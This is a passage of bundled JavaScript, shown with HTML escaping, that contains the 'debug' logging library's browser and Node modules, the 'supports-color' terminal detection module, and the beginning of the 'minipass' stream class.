      &quot;#9900FF&quot;,
      &quot;#9933CC&quot;,
      &quot;#9933FF&quot;,
      &quot;#99CC00&quot;,
      &quot;#99CC33&quot;,
      &quot;#CC0000&quot;,
      &quot;#CC0033&quot;,
      &quot;#CC0066&quot;,
      &quot;#CC0099&quot;,
      &quot;#CC00CC&quot;,
      &quot;#CC00FF&quot;,
      &quot;#CC3300&quot;,
      &quot;#CC3333&quot;,
      &quot;#CC3366&quot;,
      &quot;#CC3399&quot;,
      &quot;#CC33CC&quot;,
      &quot;#CC33FF&quot;,
      &quot;#CC6600&quot;,
      &quot;#CC6633&quot;,
      &quot;#CC9900&quot;,
      &quot;#CC9933&quot;,
      &quot;#CCCC00&quot;,
      &quot;#CCCC33&quot;,
      &quot;#FF0000&quot;,
      &quot;#FF0033&quot;,
      &quot;#FF0066&quot;,
      &quot;#FF0099&quot;,
      &quot;#FF00CC&quot;,
      &quot;#FF00FF&quot;,
      &quot;#FF3300&quot;,
      &quot;#FF3333&quot;,
      &quot;#FF3366&quot;,
      &quot;#FF3399&quot;,
      &quot;#FF33CC&quot;,
      &quot;#FF33FF&quot;,
      &quot;#FF6600&quot;,
      &quot;#FF6633&quot;,
      &quot;#FF9900&quot;,
      &quot;#FF9933&quot;,
      &quot;#FFCC00&quot;,
      &quot;#FFCC33&quot;
    ];
    function useColors() {
      if (typeof window !== &quot;undefined&quot; &amp;&amp; window.process &amp;&amp; (window.process.type === &quot;renderer&quot; || window.process.__nwjs)) {
        return true;
      }
      if (typeof navigator !== &quot;undefined&quot; &amp;&amp; navigator.userAgent &amp;&amp; navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)) {
        return false;
      }
      let m;
      return typeof document !== &quot;undefined&quot; &amp;&amp; document.documentElement &amp;&amp; document.documentElement.style &amp;&amp; document.documentElement.style.WebkitAppearance || // Is firebug? http://stackoverflow.com/a/398120/376773
      typeof window !== &quot;undefined&quot; &amp;&amp; window.console &amp;&amp; (window.console.firebug || window.console.exception &amp;&amp; window.console.table) || // Is firefox &gt;= v31?
      // https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages
      typeof navigator !== &quot;undefined&quot; &amp;&amp; navigator.userAgent &amp;&amp; (m = navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)) &amp;&amp; parseInt(m[1], 10) &gt;= 31 || // Double check webkit in userAgent just in case we are in a worker
      typeof navigator !== &quot;undefined&quot; &amp;&amp; navigator.userAgent &amp;&amp; navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/);
    }
    function formatArgs(args) {
      args[0] = (this.useColors ? &quot;%c&quot; : &quot;&quot;) + this.namespace + (this.useColors ? &quot; %c&quot; : &quot; &quot;) + args[0] + (this.useColors ? &quot;%c &quot; : &quot; &quot;) + &quot;+&quot; + module2.exports.humanize(this.diff);
      if (!this.useColors) {
        return;
      }
      const c = &quot;color: &quot; + this.color;
      args.splice(1, 0, c, &quot;color: inherit&quot;);
      let index = 0;
      let lastC = 0;
      args[0].replace(/%[a-zA-Z%]/g, (match) =&gt; {
        if (match === &quot;%%&quot;) {
          return;
        }
        index++;
        if (match === &quot;%c&quot;) {
          lastC = index;
        }
      });
      args.splice(lastC, 0, c);
    }
    exports2.log = console.debug || console.log || (() =&gt; {
    });
    function save(namespaces) {
      try {
        if (namespaces) {
          exports2.storage.setItem(&quot;debug&quot;, namespaces);
        } else {
          exports2.storage.removeItem(&quot;debug&quot;);
        }
      } catch (error) {
      }
    }
    function load() {
      let r;
      try {
        r = exports2.storage.getItem(&quot;debug&quot;) || exports2.storage.getItem(&quot;DEBUG&quot;);
      } catch (error) {
      }
      if (!r &amp;&amp; typeof process !== &quot;undefined&quot; &amp;&amp; &quot;env&quot; in process) {
        r = process.env.DEBUG;
      }
      return r;
    }
    function localstorage() {
      try {
        return localStorage;
      } catch (error) {
      }
    }
    module2.exports = require_common()(exports2);
    var { formatters } = module2.exports;
    formatters.j = function(v) {
      try {
        return JSON.stringify(v);
      } catch (error) {
        return &quot;[UnexpectedJSONParseError]: &quot; + error.message;
      }
    };
  }
});

// node_modules/supports-color/index.js
var supports_color_exports = {};
__export(supports_color_exports, {
  createSupportsColor: () =&gt; createSupportsColor,
  default: () =&gt; supports_color_default
});
function hasFlag(flag, argv = globalThis.Deno ? globalThis.Deno.args : import_node_process.default.argv) {
  const prefix = flag.startsWith(&quot;-&quot;) ? &quot;&quot; : flag.length === 1 ? &quot;-&quot; : &quot;--&quot;;
  const position = argv.indexOf(prefix + flag);
  const terminatorPosition = argv.indexOf(&quot;--&quot;);
  return position !== -1 &amp;&amp; (terminatorPosition === -1 || position &lt; terminatorPosition);
}
function envForceColor() {
  if (!(&quot;FORCE_COLOR&quot; in env)) {
    return;
  }
  if (env.FORCE_COLOR === &quot;true&quot;) {
    return 1;
  }
  if (env.FORCE_COLOR === &quot;false&quot;) {
    return 0;
  }
  if (env.FORCE_COLOR.length === 0) {
    return 1;
  }
  if (!new RegExp(&quot;^\\d+$&quot;, &quot;v&quot;).test(env.FORCE_COLOR)) {
    return;
  }
  const level = Math.min(Number(env.FORCE_COLOR), 3);
  if (![0, 1, 2, 3].includes(level)) {
    return;
  }
  return level;
}
function translateLevel(level) {
  if (level === 0) {
    return false;
  }
  return {
    level,
    hasBasic: true,
    has256: level &gt;= 2,
    has16m: level &gt;= 3
  };
}
function _supportsColor(haveStream, { streamIsTTY, sniffFlags = true } = {}) {
  const noFlagForceColor = envForceColor();
  if (noFlagForceColor !== void 0) {
    flagForceColor = noFlagForceColor;
  }
  const forceColor = sniffFlags ? flagForceColor : noFlagForceColor;
  if (forceColor === 0) {
    return 0;
  }
  if (sniffFlags) {
    if (hasFlag(&quot;color=16m&quot;) || hasFlag(&quot;color=full&quot;) || hasFlag(&quot;color=truecolor&quot;)) {
      return 3;
    }
    if (hasFlag(&quot;color=256&quot;)) {
      return 2;
    }
  }
  if (forceColor !== void 0 &amp;&amp; new RegExp(&quot;^\\d+$&quot;, &quot;v&quot;).test(env.FORCE_COLOR)) {
    return forceColor;
  }
  if (&quot;TF_BUILD&quot; in env &amp;&amp; &quot;AGENT_NAME&quot; in env) {
    return 1;
  }
  if (haveStream &amp;&amp; !streamIsTTY &amp;&amp; forceColor === void 0) {
    return 0;
  }
  const min = forceColor || 0;
  if (env.TERM === &quot;dumb&quot;) {
    return min;
  }
  if (import_node_process.default.platform === &quot;win32&quot;) {
    const osRelease = import_node_os.default.release().split(&quot;.&quot;);
    if (Number(osRelease[0]) &gt;= 10 &amp;&amp; Number(osRelease[2]) &gt;= 10586) {
      return Number(osRelease[2]) &gt;= 14931 ? 3 : 2;
    }
    return 1;
  }
  if (&quot;CI&quot; in env) {
    if ([&quot;GITHUB_ACTIONS&quot;, &quot;GITEA_ACTIONS&quot;, &quot;CIRCLECI&quot;].some((key) =&gt; Object.hasOwn(env, key))) {
      return 3;
    }
    if ([&quot;TRAVIS&quot;, &quot;APPVEYOR&quot;, &quot;GITLAB_CI&quot;, &quot;BUILDKITE&quot;, &quot;DRONE&quot;].some((sign) =&gt; Object.hasOwn(env, sign)) || env.CI_NAME === &quot;codeship&quot;) {
      return 1;
    }
    return min;
  }
  if (&quot;TEAMCITY_VERSION&quot; in env) {
    return new RegExp(&quot;^(?:9\\.0*[1-9]\\d*\\.|\\d{2,}\\.)&quot;, &quot;v&quot;).test(env.TEAMCITY_VERSION) ? 1 : 0;
  }
  if (env.COLORTERM === &quot;truecolor&quot;) {
    return 3;
  }
  if (env.TERM === &quot;xterm-kitty&quot;) {
    return 3;
  }
  if (env.TERM === &quot;xterm-ghostty&quot;) {
    return 3;
  }
  if (env.TERM === &quot;wezterm&quot;) {
    return 3;
  }
  if (&quot;TERM_PROGRAM&quot; in env) {
    const version = Number((env.TERM_PROGRAM_VERSION || &quot;&quot;).split(&quot;.&quot;, 1)[0]);
    switch (env.TERM_PROGRAM) {
      case &quot;iTerm.app&quot;: {
        return version &gt;= 3 ? 3 : 2;
      }
      case &quot;Apple_Terminal&quot;: {
        return 2;
      }
    }
  }
  if (new RegExp(&quot;-256(?:color)?$&quot;, &quot;iv&quot;).test(env.TERM)) {
    return 2;
  }
  if (new RegExp(&quot;^screen|^xterm|^vt100|^vt220|^rxvt|color|ansi|cygwin|linux&quot;, &quot;iv&quot;).test(env.TERM)) {
    return 1;
  }
  if (&quot;COLORTERM&quot; in env) {
    return 1;
  }
  return min;
}
function createSupportsColor(stream, options = {}) {
  const level = _supportsColor(stream, {
    streamIsTTY: stream &amp;&amp; stream.isTTY,
    ...options
  });
  return translateLevel(level);
}
var import_node_process, import_node_os, import_node_tty, env, flagForceColor, supportsColor, supports_color_default;
var init_supports_color = __esm({
  &quot;node_modules/supports-color/index.js&quot;() {
    import_node_process = __toESM(require(&quot;node:process&quot;), 1);
    import_node_os = __toESM(require(&quot;node:os&quot;), 1);
    import_node_tty = __toESM(require(&quot;node:tty&quot;), 1);
    ({ env } = import_node_process.default);
    if (hasFlag(&quot;no-color&quot;) || hasFlag(&quot;no-colors&quot;) || hasFlag(&quot;color=false&quot;) || hasFlag(&quot;color=never&quot;)) {
      flagForceColor = 0;
    } else if (hasFlag(&quot;color&quot;) || hasFlag(&quot;colors&quot;) || hasFlag(&quot;color=true&quot;) || hasFlag(&quot;color=always&quot;)) {
      flagForceColor = 1;
    }
    supportsColor = {
      stdout: createSupportsColor({ isTTY: import_node_tty.default.isatty(1) }),
      stderr: createSupportsColor({ isTTY: import_node_tty.default.isatty(2) })
    };
    supports_color_default = supportsColor;
  }
});

// node_modules/debug/src/node.js
var require_node = __commonJS({
  &quot;node_modules/debug/src/node.js&quot;(exports2, module2) {
    var tty3 = require(&quot;tty&quot;);
    var util = require(&quot;util&quot;);
    exports2.init = init;
    exports2.log = log2;
    exports2.formatArgs = formatArgs;
    exports2.save = save;
    exports2.load = load;
    exports2.useColors = useColors;
    exports2.destroy = util.deprecate(
      () =&gt; {
      },
      &quot;Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.&quot;
    );
    exports2.colors = [6, 2, 3, 4, 5, 1];
    try {
      const supportsColor2 = (init_supports_color(), __toCommonJS(supports_color_exports));
      if (supportsColor2 &amp;&amp; (supportsColor2.stderr || supportsColor2).level &gt;= 2) {
        exports2.colors = [
          20,
          21,
          26,
          27,
          32,
          33,
          38,
          39,
          40,
          41,
          42,
          43,
          44,
          45,
          56,
          57,
          62,
          63,
          68,
          69,
          74,
          75,
          76,
          77,
          78,
          79,
          80,
          81,
          92,
          93,
          98,
          99,
          112,
          113,
          128,
          129,
          134,
          135,
          148,
          149,
          160,
          161,
          162,
          163,
          164,
          165,
          166,
          167,
          168,
          169,
          170,
          171,
          172,
          173,
          178,
          179,
          184,
          185,
          196,
          197,
          198,
          199,
          200,
          201,
          202,
          203,
          204,
          205,
          206,
          207,
          208,
          209,
          214,
          215,
          220,
          221
        ];
      }
    } catch (error) {
    }
    exports2.inspectOpts = Object.keys(process.env).filter((key) =&gt; {
      return /^debug_/i.test(key);
    }).reduce((obj, key) =&gt; {
      const prop = key.substring(6).toLowerCase().replace(/_([a-z])/g, (_, k) =&gt; {
        return k.toUpperCase();
      });
      let val = process.env[key];
      if (/^(yes|on|true|enabled)$/i.test(val)) {
        val = true;
      } else if (/^(no|off|false|disabled)$/i.test(val)) {
        val = false;
      } else if (val === &quot;null&quot;) {
        val = null;
      } else {
        val = Number(val);
      }
      obj[prop] = val;
      return obj;
    }, {});
    function useColors() {
      return &quot;colors&quot; in exports2.inspectOpts ? Boolean(exports2.inspectOpts.colors) : tty3.isatty(process.stderr.fd);
    }
    function formatArgs(args) {
      const { namespace: name2, useColors: useColors2 } = this;
      if (useColors2) {
        const c = this.color;
        const colorCode = &quot;\x1B[3&quot; + (c &lt; 8 ? c : &quot;8;5;&quot; + c);
        const prefix = `  ${colorCode};1m${name2} \x1B[0m`;
        args[0] = prefix + args[0].split(&quot;\n&quot;).join(&quot;\n&quot; + prefix);
        args.push(colorCode + &quot;m+&quot; + module2.exports.humanize(this.diff) + &quot;\x1B[0m&quot;);
      } else {
        args[0] = getDate() + name2 + &quot; &quot; + args[0];
      }
    }
    function getDate() {
      if (exports2.inspectOpts.hideDate) {
        return &quot;&quot;;
      }
      return (/* @__PURE__ */ new Date()).toISOString() + &quot; &quot;;
    }
    function log2(...args) {
      return process.stderr.write(util.formatWithOptions(exports2.inspectOpts, ...args) + &quot;\n&quot;);
    }
    function save(namespaces) {
      if (namespaces) {
        process.env.DEBUG = namespaces;
      } else {
        delete process.env.DEBUG;
      }
    }
    function load() {
      return process.env.DEBUG;
    }
    function init(debug) {
      debug.inspectOpts = {};
      const keys = Object.keys(exports2.inspectOpts);
      for (let i = 0; i &lt; keys.length; i++) {
        debug.inspectOpts[keys[i]] = exports2.inspectOpts[keys[i]];
      }
    }
    module2.exports = require_common()(exports2);
    var { formatters } = module2.exports;
    formatters.o = function(v) {
      this.inspectOpts.colors = this.useColors;
      return util.inspect(v, this.inspectOpts).split(&quot;\n&quot;).map((str) =&gt; str.trim()).join(&quot; &quot;);
    };
    formatters.O = function(v) {
      this.inspectOpts.colors = this.useColors;
      return util.inspect(v, this.inspectOpts);
    };
  }
});

// node_modules/debug/src/index.js
var require_src = __commonJS({
  &quot;node_modules/debug/src/index.js&quot;(exports2, module2) {
    if (typeof process === &quot;undefined&quot; || process.type === &quot;renderer&quot; || process.browser === true || process.__nwjs) {
      module2.exports = require_browser();
    } else {
      module2.exports = require_node();
    }
  }
});

// node_modules/minipass/dist/esm/index.js
var import_node_events, import_node_stream, import_node_string_decoder, proc, isStream, isReadable, isWritable, EOF, MAYBE_EMIT_END, EMITTED_END, EMITTING_END, EMITTED_ERROR, CLOSED, READ, FLUSH, FLUSHCHUNK, ENCODING, DECODER, FLOWING, PAUSED, RESUME, BUFFER, PIPES, BUFFERLENGTH, BUFFERPUSH, BUFFERSHIFT, OBJECTMODE, DESTROYED, ERROR, EMITDATA, EMITEND, EMITEND2, ASYNC, ABORT, ABORTED, SIGNAL, DATALISTENERS, DISCARDED, defer, nodefer, isEndish, isArrayBufferLike, isArrayBufferView, Pipe, PipeProxyErrors, isObjectModeOptions, isEncodingOptions, Minipass;
var init_esm = __esm({
  &quot;node_modules/minipass/dist/esm/index.js&quot;() {
    import_node_events = require(&quot;node:events&quot;);
    import_node_stream = __toESM(require(&quot;node:stream&quot;), 1);
    import_node_string_decoder = require(&quot;node:string_decoder&quot;);
    proc = typeof process === &quot;object&quot; &amp;&amp; process ? process : {
      stdout: null,
      stderr: null
    };
    isStream = (s) =&gt; !!s &amp;&amp; typeof s === &quot;object&quot; &amp;&amp; (s instanceof Minipass || s instanceof import_node_stream.default || isReadable(s) || isWritable(s));
    isReadable = (s) =&gt; !!s &amp;&amp; typeof s === &quot;object&quot; &amp;&amp; s instanceof import_node_events.EventEmitter &amp;&amp; typeof s.pipe === &quot;function&quot; &amp;&amp; // node core Writable streams have a pipe() method, but it throws
    s.pipe !== import_node_stream.default.Writable.prototype.pipe;
    isWritable = (s) =&gt; !!s &amp;&amp; typeof s === &quot;object&quot; &amp;&amp; s instanceof import_node_events.EventEmitter &amp;&amp; typeof s.write === &quot;function&quot; &amp;&amp; typeof s.end === &quot;function&quot;;
    EOF = /* @__PURE__ */ Symbol(&quot;EOF&quot;);
    MAYBE_EMIT_END = /* @__PURE__ */ Symbol(&quot;maybeEmitEnd&quot;);
    EMITTED_END = /* @__PURE__ */ Symbol(&quot;emittedEnd&quot;);
    EMITTING_END = /* @__PURE__ */ Symbol(&quot;emittingEnd&quot;);
    EMITTED_ERROR = /* @__PURE__ */ Symbol(&quot;emittedError&quot;);
    CLOSED = /* @__PURE__ */ Symbol(&quot;closed&quot;);
    READ = /* @__PURE__ */ Symbol(&quot;read&quot;);
    FLUSH = /* @__PURE__ */ Symbol(&quot;flush&quot;);
    FLUSHCHUNK = /* @__PURE__ */ Symbol(&quot;flushChunk&quot;);
    ENCODING = /* @__PURE__ */ Symbol(&quot;encoding&quot;);
    DECODER = /* @__PURE__ */ Symbol(&quot;decoder&quot;);
    FLOWING = /* @__PURE__ */ Symbol(&quot;flowing&quot;);
    PAUSED = /* @__PURE__ */ Symbol(&quot;paused&quot;);
    RESUME = /* @__PURE__ */ Symbol(&quot;resume&quot;);
    BUFFER = /* @__PURE__ */ Symbol(&quot;buffer&quot;);
    PIPES = /* @__PURE__ */ Symbol(&quot;pipes&quot;);
    BUFFERLENGTH = /* @__PURE__ */ Symbol(&quot;bufferLength&quot;);
    BUFFERPUSH = /* @__PURE__ */ Symbol(&quot;bufferPush&quot;);
    BUFFERSHIFT = /* @__PURE__ */ Symbol(&quot;bufferShift&quot;);
    OBJECTMODE = /* @__PURE__ */ Symbol(&quot;objectMode&quot;);
    DESTROYED = /* @__PURE__ */ Symbol(&quot;destroyed&quot;);
    ERROR = /* @__PURE__ */ Symbol(&quot;error&quot;);
    EMITDATA = /* @__PURE__ */ Symbol(&quot;emitData&quot;);
    EMITEND = /* @__PURE__ */ Symbol(&quot;emitEnd&quot;);
    EMITEND2 = /* @__PURE__ */ Symbol(&quot;emitEnd2&quot;);
    ASYNC = /* @__PURE__ */ Symbol(&quot;async&quot;);
    ABORT = /* @__PURE__ */ Symbol(&quot;abort&quot;);
    ABORTED = /* @__PURE__ */ Symbol(&quot;aborted&quot;);
    SIGNAL = /* @__PURE__ */ Symbol(&quot;signal&quot;);
    DATALISTENERS = /* @__PURE__ */ Symbol(&quot;dataListeners&quot;);
    DISCARDED = /* @__PURE__ */ Symbol(&quot;discarded&quot;);
    defer = (fn2) =&gt; Promise.resolve().then(fn2);
    nodefer = (fn2) =&gt; fn2();
    isEndish = (ev) =&gt; ev === &quot;end&quot; || ev === &quot;finish&quot; || ev === &quot;prefinish&quot;;
    isArrayBufferLike = (b) =&gt; b instanceof ArrayBuffer || !!b &amp;&amp; typeof b === &quot;object&quot; &amp;&amp; b.constructor &amp;&amp; b.constructor.name === &quot;ArrayBuffer&quot; &amp;&amp; b.byteLength &gt;= 0;
    isArrayBufferView = (b) =&gt; !Buffer.isBuffer(b) &amp;&amp; ArrayBuffer.isView(b);
    Pipe = class {
      src;
      dest;
      opts;
      ondrain;
      constructor(src, dest, opts) {
        this.src = src;
        this.dest = dest;
        this.opts = opts;
        this.ondrain = () =&gt; src[RESUME]();
        this.dest.on(&quot;drain&quot;, this.ondrain);
      }
      unpipe() {
        this.dest.removeListener(&quot;drain&quot;, this.ondrain);
      }
      // only here for the prototype
      /* c8 ignore start */
      proxyErrors(_er) {
      }
      /* c8 ignore stop */
      end() {
        this.unpipe();
        if (this.opts.end)
          this.dest.end();
      }
    };
    PipeProxyErrors = class extends Pipe {
      unpipe() {
        this.src.removeListener(&quot;error&quot;, this.proxyErrors);
        super.unpipe();
      }
      constructor(src, dest, opts) {
        super(src, dest, opts);
        this.proxyErrors = (er) =&gt; this.dest.emit(&quot;error&quot;, er);
        src.on(&quot;error&quot;, this.proxyErrors);
      }
    };
    isObjectModeOptions = (o) =&gt; !!o.objectMode;
    isEncodingOptions = (o) =&gt; !o.objectMode &amp;&amp; !!o.encoding &amp;&amp; o.encoding !== &quot;buffer&quot;;
    Minipass = class extends import_node_events.EventEmitter {
      [FLOWING] = false;
      [PAUSED] = false;
      [PIPES] = [];
      [BUFFER] = [];
      [OBJECTMODE];
      [ENCODING];
      [ASYNC];
      [DECODER];
      [EOF] = false;
      [EMITTED_END] = false;
      [EMITTING_END] = false;
      [CLOSED] = false;
      [EMITTED_ERROR] = null;
      [BUFFERLENGTH] = 0;
      [DESTROYED] = false;
      [SIGNAL];
      [ABORTED] = false;
      [DATALISTENERS] = 0;
      [DISCARDED] = false;
      /**
       * true if the stream can be written
       */
      writable = true;
      /**
       * true if the stream can be read
       */
      readable = true;
      /**
       * If `RType` is Buffer, then options do not need to be provided.
       * Otherwise, an options object must be provided to specify either
       * {@link Minipass.SharedOptions.objectMode} or
       * {@link Minipass.SharedOptions.encoding}, as appropriate.
       */
      constructor(...args) {
        const options = args[0] || {};
        super();
        if (options.objectMode &amp;&amp; typeof options.encoding === &quot;string&quot;) {
          throw new TypeError(&quot;Encoding and objectMode may not be used together&quot;);
        }
        if (isObjectModeOptions(options)) {
          this[OBJECTMODE] = true;
          this[ENCODING] = null;
        } else if (isEncodingOptions(options)) {
          this[ENCODING] = options.encoding;
          this[OBJECTMODE] = false;
        } else {
          this[OBJECTMODE] = false;
          this[ENCODING] = null;
        }
        this[ASYNC] = !!options.async;
        this[DECODER] = this[ENCODING] ? new import_node_string_decoder.StringDecoder(this[ENCODING]) : null;
        if (options &amp;&amp; options.debugExposeBuffer === true) {
          Object.defineProperty(this, &quot;buffer&quot;, { get: () =&gt; this[BUFFER] });
        }
        if (options &amp;&amp; options.debugExposePipes === true) {
          Object.defineProperty(this, &quot;pipes&quot;, { get: () =&gt; this[PIPES] });
        }
        const { signal } = options;
        if (signal) {
          this[SIGNAL] = signal;
          if (signal.aborted) {
            this[ABORT]();
          } else {
            signal.addEventListener(&quot;abort&quot;, () =&gt; this[ABORT]());
          }
        }
      }
      /**
       * The amount of data stored in the buffer waiting to be read.
       *
       * For Buffer strings, this will be the total byte length.
       * For string encoding streams, this will be the string character length,
       * according to JavaScript&#039;s `string.length` logic.
       * For objectMode streams, this is a count of the items waiting to be
       * emitted.
       */
      get bufferLength() {
        return this[BUFFERLENGTH];
      }
      /**
       * The `BufferEncoding` currently in use, or `null`
       */
      get encoding() {
        return this[ENCODING];
      }
      /**
       * @deprecated - This is a read only property
       */
      set encoding(_enc) {
        throw new Error(&quot;Encoding must be set at instantiation time&quot;);
      }
      /**
       * @deprecated - Encoding may only be set at instantiation time
       */
      setEncoding(_enc) {
        throw new Error(&quot;Encoding must be set at instantiation time&quot;);
      }
      /**
       * True if this is an objectMode stream
       */
      get objectMode() {
        return this[OBJECTMODE];
      }
      /**
       * @deprecated - This is a read-only property
       */
      set objectMode(_om) {
        throw new Error(&quot;objectMode must be set at instantiation time&quot;);
      }
      /**
       * true if this is an async stream
       */
      get [&quot;async&quot;]() {
        return this[ASYNC];
      }
      /**
       * Set to true to make this stream async.
       *
       * Once set, it cannot be unset, as this would potentially cause incorrect
       * behavior.  Ie, a sync stream can be made async, but an async stream
       * cannot be safely made sync.
       */
      set [&quot;async&quot;](a) {
        this[ASYNC] = this[ASYNC] || !!a;
      }
      // drop everything and get out of the flow completely
      [ABORT]() {
        this[ABORTED] = true;
        this.emit(&quot;abort&quot;, this[SIGNAL]?.reason);
        this.destroy(this[SIGNAL]?.reason);
      }
      /**
       * True if the stream has been aborted.
       */
      get aborted() {
        return this[ABORTED];
      }
      /**
       * No-op setter. Stream aborted status is set via the AbortSignal provided
       * in the constructor options.
       */
      set aborted(_) {
      }
      write(chunk, encoding, cb) {
        if (this[ABORTED])
          return false;
        if (this[EOF])
          throw new Error(&quot;write after end&quot;);
        if (this[DESTROYED]) {
          this.emit(&quot;error&quot;, Object.assign(new Error(&quot;Cannot call write after a stream was destroyed&quot;), { code: &quot;ERR_STREAM_DESTROYED&quot; }));
          return true;
        }
        if (typeof encoding === &quot;function&quot;) {
          cb = encoding;
          encoding = &quot;utf8&quot;;
        }
        if (!encoding)
          encoding = &quot;utf8&quot;;
        const fn2 = this[ASYNC] ? defer : nodefer;
        if (!this[OBJECTMODE] &amp;&amp; !Buffer.isBuffer(chunk)) {
          if (isArrayBufferView(chunk)) {
            chunk = Buffer.from(chunk.buffer, chunk.byteOffset, chunk.byteLength);
          } else if (isArrayBufferLike(chunk)) {
            chunk = Buffer.from(chunk);
          } else if (typeof chunk !== &quot;string&quot;) {
            throw new Error(&quot;Non-contiguous data written to non-objectMode stream&quot;);
          }
        }
        if (this[OBJECTMODE]) {
          if (this[FLOWING] &amp;&amp; this[BUFFERLENGTH] !== 0)
            this[FLUSH](true);
          if (this[FLOWING])
            this.emit(&quot;data&quot;, chunk);
          else
            this[BUFFERPUSH](chunk);
          if (this[BUFFERLENGTH] !== 0)
            this.emit(&quot;readable&quot;);
          if (cb)
            fn2(cb);
          return this[FLOWING];
        }
        if (!chunk.length) {
          if (this[BUFFERLENGTH] !== 0)
            this.emit(&quot;readable&quot;);
          if (cb)
            fn2(cb);
          return this[FLOWING];
        }
        if (typeof chunk === &quot;string&quot; &amp;&amp; // unless it is a string already ready for us to use
        !(encoding === this[ENCODING] &amp;&amp; !this[DECODER]?.lastNeed)) {
          chunk = Buffer.from(chunk, encoding);
        }
        if (Buffer.isBuffer(chunk) &amp;&amp; this[ENCODING]) {
          chunk = this[DECODER].write(chunk);
        }
        if (this[FLOWING] &amp;&amp; this[BUFFERLENGTH] !== 0)
          this[FLUSH](true);
        if (this[FLOWING])
          this.emit(&quot;data&quot;, chunk);
        else
          this[BUFFERPUSH](chunk);
        if (this[BUFFERLENGTH] !== 0)
          this.emit(&quot;readable&quot;);
        if (cb)
          fn2(cb);
        return this[FLOWING];
      }
      /**
       * Low-level explicit read method.
       *
       * In objectMode, the argument is ignored, and one item is returned if
       * available.
       *
       * `n` is the number of bytes (or in the case of encoding streams,
       * characters) to consume. If `n` is not provided, then the entire buffer
       * is returned, or `null` is returned if no data is available.
       *
       * If `n` is greater that the amount of data in the internal buffer,
       * then `null` is returned.
       */
      read(n) {
        if (this[DESTROYED])
          return null;
        this[DISCARDED] = false;
        if (this[BUFFERLENGTH] === 0 || n === 0 || n &amp;&amp; n &gt; this[BUFFERLENGTH]) {
          this[MAYBE_EMIT_END]();
          return null;
        }
        if (this[OBJECTMODE])
          n = null;
        if (this[BUFFER].length &gt; 1 &amp;&amp; !this[OBJECTMODE]) {
          this[BUFFER] = [
            this[ENCODING] ? this[BUFFER].join(&quot;&quot;) : Buffer.concat(this[BUFFER], this[BUFFERLENGTH])
          ];
        }
        const ret = this[READ](n || null, this[BUFFER][0]);
        this[MAYBE_EMIT_END]();
        return ret;
      }
      [READ](n, chunk) {
        if (this[OBJECTMODE])
          this[BUFFERSHIFT]();
        else {
          const c = chunk;
          if (n === c.length || n === null)
            this[BUFFERSHIFT]();
          else if (typeof c === &quot;string&quot;) {
            this[BUFFER][0] = c.slice(n);
            chunk = c.slice(0, n);
            this[BUFFERLENGTH] -= n;
          } else {
            this[BUFFER][0] = c.subarray(n);
            chunk = c.subarray(0, n);
            this[BUFFERLENGTH] -= n;
          }
        }
        this.emit(&quot;data&quot;, chunk);
        if (!this[BUFFER].length &amp;&amp; !this[EOF])
          this.emit(&quot;drain&quot;);
        return chunk;
      }
      end(chunk, encoding, cb) {
        if (typeof chunk === &quot;function&quot;) {
          cb = chunk;
          chunk = void 0;
        }
        if (typeof encoding === &quot;function&quot;) {
          cb = encoding;
          encoding = &quot;utf8&quot;;
        }
        if (chunk !== void 0)
          this.write(chunk, encoding);
        if (cb)
          this.once(&quot;end&quot;, cb);
        this[EOF] = true;
        this.writable = false;
        if (this[FLOWING] || !this[PAUSED])
          this[MAYBE_EMIT_END]();
        return this;
      }
      // don&#039;t let the internal resume be overwritten
      [RESUME]() {
        if (this[DESTROYED])
          return;
        if (!this[DATALISTENERS] &amp;&amp; !this[PIPES].length) {
          this[DISCARDED] = true;
        }
        this[PAUSED] = false;
        this[FLOWING] = true;
        this.emit(&quot;resume&quot;);
        if (this[BUFFER].length)
          this[FLUSH]();
        else if (this[EOF])
          this[MAYBE_EMIT_END]();
        else
          this.emit(&quot;drain&quot;);
      }
      /**
       * Resume the stream if it is currently in a paused state
       *
       * If called when there are no pipe destinations or `data` event listeners,
       * this will place the stream in a &quot;discarded&quot; state, where all data will
       * be thrown away. The discarded state is removed if a pipe destination or
       * data handler is added, if pause() is called, or if any synchronous or
       * asynchronous iteration is started.
       */
      resume() {
        return this[RESUME]();
      }
      /**
       * Pause the stream
       */
      pause() {
        this[FLOWING] = false;
        this[PAUSED] = true;
        this[DISCARDED] = false;
      }
      /**
       * true if the stream has been forcibly destroyed
       */
      get destroyed() {
        return this[DESTROYED];
      }
      /**
       * true if the stream is currently in a flowing state, meaning that
       * any writes will be immediately emitted.
       */
      get flowing() {
        return this[FLOWING];
      }
      /**
       * true if the stream is currently in a paused state
       */
      get paused() {
        return this[PAUSED];
      }
      [BUFFERPUSH](chunk) {
        if (this[OBJECTMODE])
          this[BUFFERLENGTH] += 1;
        else
          this[BUFFERLENGTH] += chunk.length;
        this[BUFFER].push(chunk);
      }
      [BUFFERSHIFT]() {
        if (this[OBJECTMODE])
          this[BUFFERLENGTH] -= 1;
        else
          this[BUFFERLENGTH] -= this[BUFFER][0].length;
        return this[BUFFER].shift();
      }
      [FLUSH](noDrain = false) {
        do {
        } while (this[FLUSHCHUNK](this[BUFFERSHIFT]()) &amp;&amp; this[BUFFER].length);
        if (!noDrain &amp;&amp; !this[BUFFER].length &amp;&amp; !this[EOF])
          this.emit(&quot;drain&quot;);
      }
      [FLUSHCHUNK](chunk) {
        this.emit(&quot;data&quot;, chunk);
        return this[FLOWING];
      }
      /**
       * Pipe all data emitted by this stream into the destination provided.
       *
       * Triggers the flow of data.
       */
      pipe(dest, opts) {
        if (this[DESTROYED])
          return dest;
        this[DISCARDED] = false;
        const ended = this[EMITTED_END];
        opts = opts || {};
        if (dest === proc.stdout || dest === proc.stderr)
          opts.end = false;
        else
          opts.end = opts.end !== false;
        opts.proxyErrors = !!opts.proxyErrors;
        if (ended) {
          if (opts.end)
            dest.end();
        } else {
          this[PIPES].push(!opts.proxyErrors ? new Pipe(this, dest, opts) : new PipeProxyErrors(this, dest, opts));
          if (this[ASYNC])
            defer(() =&gt; this[RESUME]());
          else
            this[RESUME]();
        }
        return dest;
      }
      /**
       * Fully unhook a piped destination stream.
       *
       * If the destination stream was the only consumer of this stream (ie,
       * there are no other piped destinations or `&#039;data&#039;` event listeners)
